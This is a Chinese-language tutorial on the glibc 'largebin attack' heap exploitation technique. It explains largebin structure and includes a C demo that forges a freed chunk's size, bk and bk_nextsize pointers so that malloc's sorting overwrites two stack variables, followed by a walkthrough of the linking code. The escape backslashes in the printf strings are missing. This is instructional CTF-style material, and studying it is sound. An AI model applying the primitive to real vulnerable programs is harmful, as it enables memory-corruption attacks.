PWN：Largebin Attack - 码农教程

Largebin Attack

还是先了解一下 largebin 是啥

大小：大于 1024 字节

双向循环链表，先进先出，按照从大到小排序

当有空闲块相邻的时候，chunk 会被合并

除了 fd、bk 指针还有 fd_nextsize 和 bk_nextsize

#include<stdio.h>
#include<stdlib.h>
int main() {
    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;
    fprintf(stderr, "The targets we want to rewrite on stack:n");
    fprintf(stderr, "stack_var1 (%p): %ldn", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ldnn", &stack_var2, stack_var2);
    unsigned long *p1 = malloc(0x100);
    fprintf(stderr, "Now, we allocate the first chunk: %pn", p1 - 2);
    malloc(0x10);
    unsigned long *p2 = malloc(0x400);
    fprintf(stderr, "Then, we allocate the second chunk(large chunk): %pn", p2 - 2);
    malloc(0x10);
    unsigned long *p3 = malloc(0x400);
    fprintf(stderr, "Finally, we allocate the third chunk(large chunk): %pnn", p3 - 2);
    malloc(0x10);

    free(p1);
    free(p2);
    fprintf(stderr, "Now, We free the first and the second chunks now and they will be inserted in the unsorted binn");
    malloc(0x30);
    fprintf(stderr, "Then, we allocate a chunk and the freed second chunk will be moved into large bin freelistnn");
    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);
    fprintf(stderr, "Now we use a vulnerability to overwrite the freed second chunknn");
    free(p3);
    malloc(0x30);
    fprintf(stderr, "Finally, we free the third chunk and malloc again, targets should have already been rewritten:n");
    fprintf(stderr, "stack_var1 (%p): %pn", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %pn", &stack_var2, (void *)stack_var2);
}

gcc -g 1.c

首先申请了几个 chunk

接下来释放掉前两个

接下来去申请一个 0x30 大小的，他会把前面那个 0x100 大小的切割

同时因为我们去申请了，他就会给 unsortedbin 中的 free chunk 进行整理划分，把那两块大的放到 largebin

接下来去修改 p2，之前：

之后：

我们伪造的分别是 p2 的 size、bk 以及 bk_nextsize，接下来对 p3 进行 free，然后再申请一个 chunk，这样的话 p3 就会被整理到 largebin

而 largebin 是按照从大到小排序的，所以需要进行排序，排序的操作大概是：

//victim是p3、fwd是修改后的p2
{
    victim->fd_nextsize = fwd;//1
    victim->bk_nextsize = fwd->bk_nextsize;//2
    fwd->bk_nextsize = victim;//3
    victim->bk_nextsize->fd_nextsize = victim;//4
}
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

把 2 带入 4 得到：fwd->bk_nextsize->fd_nextsize=victim

同时下面有：fwd->bk=victim

也就是说之前我们伪造的 p2 的 bk 跟 bk_nextsize 指向的地址被改为了 victim

即 (unsigned long)(&stack_var1 - 2) 与 (unsigned long)(&stack_var2 - 4) 被改为了 victim